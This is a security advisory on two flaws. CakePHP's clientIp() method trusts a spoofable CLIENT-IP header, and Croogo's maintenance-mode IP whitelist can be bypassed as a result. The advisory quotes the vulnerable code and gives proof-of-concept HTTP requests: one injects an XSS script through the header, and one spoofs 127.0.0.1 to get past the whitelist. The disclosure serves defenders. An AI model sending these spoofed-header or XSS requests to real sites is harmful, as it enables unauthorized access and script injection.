SSD Advisory – CakePHP Multiple Vulnerabilities

Vulnerability Description
The following advisory describes two (2) different vulnerabilities. One related to CakePHP framework and the other in a product that uses the CakePHP framework:

  • CakePHP Arbitrary Source Address Spoofing
  • Croogo ACL Bypass

Credit
An independent security researcher Dawid Golunski (https://legalhackers.com/) has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program

Affected Version:

  • CakePHP Framework <= 3.1.0.RC1
  • CakePHP Framework 2.7.3

CakePHP Arbitrary Source Address Spoofing
CakePHP Framework contains a vulnerability that allows an attacker to spoof the source address of incoming requests. This can allow an attacker to bypass access control lists, or inject malicious data which, if treated as trusted (and is not sanitised by an unaware CakePHP-based application), can lead to other vulnerabilities such as SQL injection, XSS, command injection, etc.
Description:
Both branches of CakePHP Framework (2.x, 3.x) contain a clientIp() method that allows an attacker to obtain the IP address of a client accessing the CakePHP-based application. The method is slightly different in each branch:
CakePHP 2.x:

------[ Cake/Network/CakeRequest.php ]------
        public function clientIp($safe = true) {
                if (!$safe && env('HTTP_X_FORWARDED_FOR')) {
                        $ipaddr = preg_replace('/(?:,.*)/', '', env('HTTP_X_FORWARDED_FOR'));
                } else {
                        if (env('HTTP_CLIENT_IP')) {
                                $ipaddr = env('HTTP_CLIENT_IP');
                        } else {
                                $ipaddr = env('REMOTE_ADDR');
                        }
                }
                if (env('HTTP_CLIENTADDRESS')) {
                        $tmpipaddr = env('HTTP_CLIENTADDRESS');
                        if (!empty($tmpipaddr)) {
                                $ipaddr = preg_replace('/(?:,.*)/', '', $tmpipaddr);
                        }
                }
                return trim($ipaddr);
        }
--------------------------------------------

CakePHP 3.x:

------[ cakephp/src/Network/Request.php ]------
    /**
     * Get the IP the client is using, or says they are using.
     *
     * @return string The client IP.
     */
    public function clientIp()
    {
        if ($this->trustProxy && $this->env('HTTP_X_FORWARDED_FOR')) {
            $ipaddr = preg_replace('/(?:,.*)/', '', $this->env('HTTP_X_FORWARDED_FOR'));
        } else {
            if ($this->env('HTTP_CLIENT_IP')) {
                $ipaddr = $this->env('HTTP_CLIENT_IP');
            } else {
                $ipaddr = $this->env('REMOTE_ADDR');
            }
        }
        if ($this->env('HTTP_CLIENTADDRESS')) {
            $tmpipaddr = $this->env('HTTP_CLIENTADDRESS');
            if (!empty($tmpipaddr)) {
                $ipaddr = preg_replace('/(?:,.*)/', '', $tmpipaddr);
            }
        }
        return trim($ipaddr);
    }
--------------------------------------------

Both of methods contain the same vulnerability. Despite the enabled safe flag (CakePHP 2.x) and trustyProxy flag, set to off by default, they both use HTTP_CLIENT_IP header (if it exists) instead of REMOTE_ADDR which is set by the web server.
The HTTP_CLIENT_IP header can easily be spoofed by sending CLIENT-IP header together with a HTTP request.
Proof of concept:
On CakePHP version 3.1.0.RC1, edit src/Template/Pages/home.ctp to include the PoC code line shown which echoes the visitor’s IP using the clientIp() method:

-------[ src/Template/Pages/home.ctp ]--------
<?php
[...]
use Cake\Cache\Cache;
use Cake\Core\Configure;
use Cake\Datasource\ConnectionManager;
use Cake\Error\Debugger;
use Cake\Network\Exception\NotFoundException;
$this->layout = false;
if (!Configure::read('debug')):
    throw new NotFoundException();
endif;
$cakeDescription = 'CakePHP: the rapid development php framework';
echo "PoC \n<br> Your IP is: [". $this->request->clientIp() ."]\n\n<br><br>";
[...]
?>
----------------------------------------------

If we send the following request with CLIENT-IP header containing an arbitrary IP and malicious XSS data:

GET /cake/cake3/ HTTP/1.1
Host: centos
CLIENT-IP: 100.200.300.400 <script>alert('poc');</script>
Content-Length: 2

the application will give the following HTTP response:

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
PoC
<br> Your IP is: [100.200.300.400 <script>alert('poc');</script>]
[...]

As we can see the clientIp() method returns the fake IP and XSS payload from CLIENT-IP header.
This vulnerability could be used to bypass access control lists to get access to sensitive data, or lead to other high severity vulnerabilities if untrusted data returned by clientIp() method is used and treated as safe.
Croogo ACL Bypass
Croogo has an option to put the website in maintenance mode by setting Site.status option to 0. In this mode, only a list of previously whitelisted IP addresses can access the site.
The options can be found in control panel under: http://site/croogo/admin/settings?key=Site
and the whitelist at: http://site/croogo/admin/settings/settings/prefix/Site
The whitelist is set to 127.0.0.1 by default.
ACL control function is isWhitelistedRequest() and looks as follows:

-------[ Vendor/croogo/croogo/Croogo/Lib/CroogoRouter.php ]--------
/**
 * Check wether request is from a whitelisted IP address
 *
 * @see CakeRequest::addDetector()
 * @param $request CakeRequest Request object
 * @return boolean True when request is from a whitelisted IP Address
 */
        public static function isWhitelistedRequest(CakeRequest $request) {
                if (!$request) {
                        return false;
                }
                $clientIp = $request->clientIp();
                $whitelist = array_map(
                        'trim',
                        (array)explode(',', Configure::read('Site.ipWhitelist'))
                );
                return in_array($clientIp, $whitelist);
        }
-------------------------------------------------------------------

The function is using clientIp() method from CakePHP framework. The function is vulnerable to IP spoofing by sending CLIENT-IP header.
PoC
Denied request:

GET /croogo/croogo-2.2.2/ HTTP/1.1
Host: centos
Content-Length: 4
HTTP/1.1 503 Service Unavailable
Content-Type: text/html; charset=UTF-8
[...]
<head>
<title>Site down for maintenance</title>
[...]

ACL bypass:

GET /croogo/croogo-2.2.2/ HTTP/1.1
Host: centos
client-ip: 127.0.0.1
Content-Length: 4

The HTTP response:

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
<head>
	<title>Home &raquo; Croogo</title>
[...]
	<p>Welcome to Croogo. This is your first post.
[...].
Comments
Comments are closed.